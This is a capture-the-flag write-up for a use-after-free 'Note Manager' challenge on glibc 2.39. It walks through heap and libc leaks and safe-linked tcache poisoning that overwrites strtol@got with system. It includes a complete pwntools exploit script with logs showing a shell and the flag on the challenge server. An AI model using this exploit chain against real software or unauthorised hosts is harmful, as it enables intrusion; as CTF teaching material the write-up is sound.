Note Manager
A note-taking service that lets you add, edit, view, and delete notes. What could go wrong? nc 34.87.191.188 9006
Connections
- 34.87.191.188:9006
Attachments
Recon
The handout is a stripped x86-64 ELF plus the loader and libc it wants to run with, and the libc identifies itself as glibc 2.39. That combination told us the intended bug was in heap management and that the allocator’s exact version would matter. We started by running the thing, poking its input parsers, and only then went into the disassembler to explain what we had already seen.
Running the service first
The zip holds three files: note_manager, ld-linux-x86-64.so.2 and libc.so.6. The binary’s interpreter is ./ld-linux-x86-64.so.2, so it insists on being executed from the directory that contains the shipped loader and libc, which also matches how the service runs on the remote box:
$ cd handout && ./note_manager
=====================================
Note Manager v1.0
=====================================
1. Add note
2. Edit note
3. Show note
4. Delete note
5. Exit
>
That is the whole interface, five numbered options and a prompt. Before reversing anything we wanted the libc version pinned, and the shipped libc answers directly when asked:
$ strings libc.so.6 | grep -m1 "GNU C Library"
GNU C Library (Ubuntu GLIBC 2.39-0ubuntu8.12) stable release version 2.39.
Poking the input parsers
Before touching a disassembler we fed it junk to map out its input handling. Each probe and what came back (the menu repeats after every response, trimmed here):
> 9 -> Invalid choice.
> 3, Index: 5 (never allocated) -> Invalid index.
> 1, Index: 0, Size: 8 -> Invalid size.
> 1, Index: 0, Size: 1536 -> Invalid size.
> 1, Index: 0, Size: 64, Content: %p|%p|%p -> Added.
> 3, Index: 0 -> Content: %p|%p|%p (raw bytes, rest zeros)
> 1, Index: 0 -> Slot already in use.
Four facts fell out of this. The index and size prompts both go through a parser that rejects out-of-range values (we later confirmed the ranges are indices 0 to 7 and sizes 0x10 to 0x500). The %p|%p|%p note came back verbatim, so Show uses write() on raw bytes rather than printf() on a format string, and there is no format-string angle to chase. Re-adding an existing slot is refused right after the index is read. Nothing crashed on any of it, so the bug was not going to be a plain overflow.
Probing the note lifecycle
The interesting question is what Delete actually cleans up, so we walked one slot through its whole lifecycle and kept Showing it:
=== add(0, 0x90, "AAAAAAAA"); show(0) ===
Content: AAAAAAAA
=== delete(0) ===
Deleted.
=== add(0) again ===
Slot already in use.
=== show(0) after the free ===
00000000 43 6f 6e 74 65 6e 74 3a 20 05 04 00 00 00 00 00 │Cont│ent:│ ···│····│
00000010 00 13 20 1b 8f 7e fa 56 02 00 00 00 00 00 00 00 │·· ·│·~·V│····│····│
=== edit(0, "PWNED!!!") after the free ===
Edited.
=== show(0) again ===
00000000 43 6f 6e 74 65 6e 74 3a 20 50 57 4e 45 44 21 21 │Cont│ent:│ PWN│ED!!│
00000010 21 13 20 1b 8f 7e fa 56 02 00 00 00 00 00 00 00 │!· ·│·~·V│····│····│
=== delete(0) a second time ===
free(): double free detected in tcache 2
Aborted (core dumped)
After the 9-byte Content: prompt, the freed chunk’s first qword is 05 04 00 00 00 00 00 00, and the second qword is a random-looking value that changes between runs. Delete frees the chunk but the slot stays fully alive: Show reads freed heap memory, Edit writes it (PWNED!!! round-trips), and Add still refuses the slot. A second Delete trips glibc’s double-free check and the process dies.
That message also rules out the simplest exploit idea, double-freeing a slot so the same chunk gets handed out twice. And because a flagged slot can never be re-added, each of the eight slots is a one-shot allocation. There is no free-reallocate loop available, so the whole heap layout had to be planned up front.
Protections and the GOT map
With the behavior mapped, we asked what a write primitive would be worth on this binary, and turned to the protections:
$ checksec --file=note_manager
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'$ORIGIN'
No PIE means every address in the image is fixed, and Partial RELRO leaves .got.plt writable (the GOT is the table where imported functions get their resolved addresses), so one arbitrary write can permanently redirect an imported function. The relocation table gives the exact targets:
$ objdump -R note_manager
0000000000404000 R_X86_64_JUMP_SLOT free
0000000000404010 R_X86_64_JUMP_SLOT puts
0000000000404018 R_X86_64_JUMP_SLOT write
0000000000404028 R_X86_64_JUMP_SLOT printf
0000000000404030 R_X86_64_JUMP_SLOT read
0000000000404038 R_X86_64_JUMP_SLOT strtol
0000000000404040 R_X86_64_JUMP_SLOT malloc
0000000000404050 R_X86_64_JUMP_SLOT exit
What the handlers actually do
Now the disassembler, to explain the observations. The note table lives in .bss as three parallel arrays with a 24-byte stride, ptrs at 0x4040c0, sizes at 0x4040c8 and flags at 0x4040d0. Every prompt is read with read(0, buf, 0x1f) and converted with strtol(buf, 0, 10), and that parser detail becomes the shell trigger later. The four handlers decompile to:
// add (0x4014a0): refuses a slot whose flag is already set
if (flags[idx]) { puts("Slot already in use."); return; }
p = malloc(size); ptrs[idx] = p; sizes[idx] = size; flags[idx] = 1;
read(0, p, size);
// edit (0x40163e): only checks the flag, not whether the chunk is alive
if (flags[idx] == 0) { puts("Invalid index."); return; }
read(0, ptrs[idx], sizes[idx]); // UAF write, observed above
// show (0x401727): same weak check
write(1, ptrs[idx], sizes[idx]); // UAF read, observed above
// delete (0x40180b): frees and clears nothing
free(ptrs[idx]); puts("Deleted."); // flag/ptr/size stay set
That matches everything we saw live: delete frees but leaves flags, ptrs and sizes intact, and edit/show consult only the flag. Textbook use-after-free with one-shot slots on top.
Exploitation
Leaking the heap and libc
The freed 0x90 chunk’s first qword, 0x405, is not random. glibc 2.32+ stores tcache next pointers safe-linked, as (chunk_addr >> 12) ^ next_ptr. For the first free into an empty tcache bin next is NULL, so the stored value degenerates to chunk_addr >> 12, the heap page. Our chunk sat on the first heap page, and 0x405 << 12 = 0x405000 is the heap base. That number is so clean locally because the local heap is not randomized: the brk heap lands at the classic fixed 0x405000 right after the no-PIE image. The remote service runs with ASLR and the same read leaked a different page each run. The second qword is the tcache key, a random per-run value glibc writes into freed chunks so it can detect the double free we triggered earlier.
For libc we need a chunk too big for tcache (which covers chunks up to 0x410). A request of 0x500 becomes a 0x510 chunk, and freeing it lands it in the unsorted bin, whose fd and bk both point into main_arena. We checked this exact scenario before building the exploit:
=== add(0, 0x500); add(1, 0x90); delete(0); show(0) ===
00000000 43 6f 6e 74 65 6e 74 3a 20 20 8b fe 7f ff ff 00 │Cont│ent:│ ··│····│
00000010 00 20 8b fe 7f ff ff 00 00 00 00 00 00 00 00 00 │· ··│····│····│····│
fd equals bk, both a libc pointer (into the shipped libc’s writable data segment in this run). Subtracting the right constant from it gives the libc base, and main_arena is a stripped static symbol, so instead of trusting a memorized offset we calibrated it: hold a process right after the leak, read its memory map, and subtract:
$ python3 calib.py
LEAK=0xffffb5f9db20
ffffb5d99000-ffffb5dc1000 r--p 00000000 ... /work/agent/handout/libc.so.6
ffffb5f9d000-ffffb5f9f000 rw-p 00203000 ... /work/agent/handout/libc.so.6
0xffffb5f9db20 - 0xffffb5d99000 = 0x204b20, so the leak is always libc_base + 0x204b20. The two function offsets we need are ordinary dynamic symbols and read straight off the shipped libc:
$ nm -D libc.so.6 | grep -wE "system|read"
000000000011bce0 T read@@GLIBC_2.2.5
0000000000058750 W system@@GLIBC_2.2.5
Aiming the allocation at the GOT
With a UAF write on the tcache head we can poison its next pointer so a later malloc returns an address we choose, and the fixed writable GOT is the target. The ideal victim is strtol, since the parser calls strtol(buf, 0, 10) on our input buffer, so strtol@got holding system turns the next prompt into system("/bin/sh") with our bytes as the argument. No one_gadget (a libc execve gadget with register constraints that can be awkward to satisfy), no stack pivot, no string hunt.
strtol@got sits at 0x404038, which is only 8-byte aligned, and glibc 2.32+ aborts with unaligned tcache chunk detected if a tcache entry is not 16-byte aligned. Its neighbor read@got at 0x404030 passes that check and the two are adjacent, so we poison 0x404030 and write 16 bytes at once: the real libc read (keeping the program alive) followed by system. Two details needed care here. When malloc pops the fake GOT chunk it also zeroes the tcache key field at target+8, which is strtol@got itself, and that is harmless only because nothing calls strtol between the pop and the read() that fills our 16 bytes. And the content write must be exactly 16 bytes with no trailing newline, since a 17th byte would land on malloc@got.
Laying out the heap
With every slot one-shot, the layout gets scripted once and executed once. Request sizes turn into chunk sizes as 0x500 -> 0x510 and 0x90 -> 0xa0, and the per-thread tcache structure occupies the first 0x290 bytes, which fixes every user pointer as an offset from the leaked heap base:
| Step | Event | Result |
|---|---|---|
| 1 | add(0, 0x500) |
c0, chunk 0x510 at heap+0x290 |
| 2 | add(1, 0x90) |
guard c1, keeps c0 away from the top chunk |
| 3-4 | add(2, 0x90), add(3, 0x90) |
c2 user heap+0x850, c3 user heap+0x8f0 |
| 5 | del(2), show(2) |
empty-bin free, leak 0x405, heap base 0x405000 |
| 6 | del(3) |
tcache 0xa0 bin becomes c3 -> c2 |
| 7 | del(0), show(0) |
c0 to unsorted bin (c1 guards the top), libc leak |
| 8 | edit(3, mangled 0x404030) |
poisoned list c3 -> 0x404030 |
| 9 | add(4, 0x90) |
pops c3, head becomes 0x404030 |
| 10 | add(5, 0x90, ...) |
pops 0x404030, 16 bytes land on the GOT |
| 11 | type /bin/sh at the menu |
strtol(buf) is now system("/bin/sh") |
The edit in step 8 must store the safe-linked form (c3_user >> 12) ^ 0x404030. With the leaked heap base 0x405000, c3_user = 0x4058f0, so 0x405 ^ 0x404030 = 0x404435, exactly the mangled value the run logs below. Six of the eight slots get used.
The script and the local run
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
OFF_SYSTEM = 0x58750 # system, from nm -D on the shipped libc
OFF_READ = 0x11bce0 # read, same
UNSORTED = 0x204b20 # main_arena+0x60, calibrated vs /proc/<pid>/maps
GOT_READ = 0x404030 # 16-byte-aligned neighbor of strtol@got
io = process(['./note_manager'], cwd='handout')
def menu(c): io.sendlineafter(b'> ', str(c).encode())
def add(i, s, d):
menu(1); io.sendlineafter(b'Index: ', str(i).encode())
io.sendlineafter(b'Size: ', str(s).encode()); io.sendafter(b'Content: ', d)
def edit(i, d):
menu(2); io.sendlineafter(b'Index: ', str(i).encode()); io.sendafter(b'Content: ', d)
def show(i, n):
menu(3); io.sendlineafter(b'Index: ', str(i).encode())
io.recvuntil(b'Content: '); return io.recvn(n)
def delete(i):
menu(4); io.sendlineafter(b'Index: ', str(i).encode()); io.recvuntil(b'Deleted.')
def mangle(pos, ptr): return (pos >> 12) ^ ptr # glibc 2.32+ safe-linking
add(0, 0x500, b'A' * 8) # c0: unsorted-bin victim
add(1, 0x90, b'B' * 8) # c1: guard between c0 and top
add(2, 0x90, b'C' * 8) # c2: heap leak
add(3, 0x90, b'D' * 8) # c3: poison target
delete(2)
leak_heap = u64(show(2, 8)) # empty-bin free: stored fd = c2_user >> 12
heap_base = leak_heap << 12
c3_user = heap_base + 0x8f0 # deterministic offsets from the layout
delete(3) # tcache 0xa0: c3 -> c2, c3 is now the head
delete(0) # 0x510 chunk, past tcache, into unsorted bin
leak_libc = u64(show(0, 8)) # fd = bk = main_arena+0x60
libc_base = leak_libc - UNSORTED
assert libc_base & 0xfff == 0 # wrong offset would break page alignment
edit(3, p64(mangle(c3_user, GOT_READ))) # poisoned head decodes to 0x404030
add(4, 0x90, b'E' * 8) # pops c3
add(5, 0x90, p64(libc_base + OFF_READ) + # read@got, unchanged
p64(libc_base + OFF_SYSTEM)) # strtol@got = system
io.sendlineafter(b'> ', b'/bin/sh') # parser: read(), then strtol() = system()
io.interactive()
Running it locally against the shipped glibc 2.39 gave a root shell:
$ python3 exploit.py
[+] heap leak : 0x405 (c2_user page)
[+] heap base : 0x405000
[+] libc leak : 0xffffa4df0b20 (main_arena+0x60)
[+] libc base : 0xffffa4bec000
[*] poisoned tcache fd -> 0x404030 (mangled 0x404435)
PWNED
uid=0(root) gid=0(root) groups=0(root)
The page-alignment assert on the computed base held both locally and remotely, which is the independent check that the 0x204b20 constant is right.
Flag capture
With the local run succeeding, we pointed the same chain at the service (remote('34.87.191.188', 9006) instead of the local process line). The leaks came back page-aligned, the GOT swap fired, and the shell let us look for the flag. The directory listing shows it was not sitting next to the binary; the cat /flag* fallback in our command chain found it at the root of the box:
$ python3 remote.py
[+] heap base: 0x33921000
[+] libc base: 0x7f51aec4b000 OK
SHELL_OK
total 2360
drwxr-xr-x 1 root root 4096 Nov 27 20:15 .
-rwxr-xr-x 1 root root 236616 Nov 23 08:45 ld-linux-x86-64.so.2
-rw-rw-r-- 1 root root 2129424 Nov 23 08:45 libc.so.6
-r-xr-xr-x 1 root root 18664 Nov 23 09:04 note_manager
NVR{st1cky_n0tes_4r3_d4ng3r0us}